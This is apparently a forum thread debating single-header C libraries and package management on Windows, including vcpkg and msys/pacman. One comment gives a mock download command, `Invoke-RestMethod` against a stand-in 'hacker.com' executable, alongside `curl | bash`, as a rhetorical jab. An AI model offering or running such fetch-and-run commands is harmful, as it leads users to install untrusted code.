Every time I see a "single-header C library", I wonder to myself where we'd be if only Windows had a proper package manager.
(Especially since that'd force the POSIX world to de-fracture itself too.)
(Especially since that'd force the POSIX world to de-fracture itself too.)
A single-header file is not a 'full-sized' library compressed into one file it's codebase is designed to actually be minimalist. Many libraries have single files that are the same size as their alternative single-header.
I don't know if you noticed but no modern languages use Linux packages to provide dependencies, because that obviously sucks balls for many reasons.
Those are a thing? Wasn't aware.
For me it only reveals lack of willingness to learn how to use their tools.
I learned how to use C and C++ build systems at the age of 12 years old, when most of the information was on libraries, or whatever folks down at computer club could explain.
In a computing landscape much more fragmented than it is today?
Do you think combining Windows and UNIX is hard? Try on the glory days of 16 bit home computers.
Here we are in the age of information, and some people couldn't be less bothered.
The closest thing to a C/C++ package manager standard on Windows is probably vcpkg: https://vcpkg.io/en/
But why is being installed by default important?
[1] https://www.petergirnus.com/blog/how-to-use-windows-package-...
If you are convincing people to run commands to install packages:
- they care about trust, they will already have their package manager from the ecosystem they trust (which should be msys+pacman on windows, btw)
- they couldn't care less and will trust your `curl | bash` or `Invoke-RestMethod -Uri http://hacker.com/totallysafe.exe`
on both cases, not having a default package manager shipped caused zero adoption attrition, I mean, besides the attrition of needing a non-standard package to begin with.
Too many possibilities made me choose none.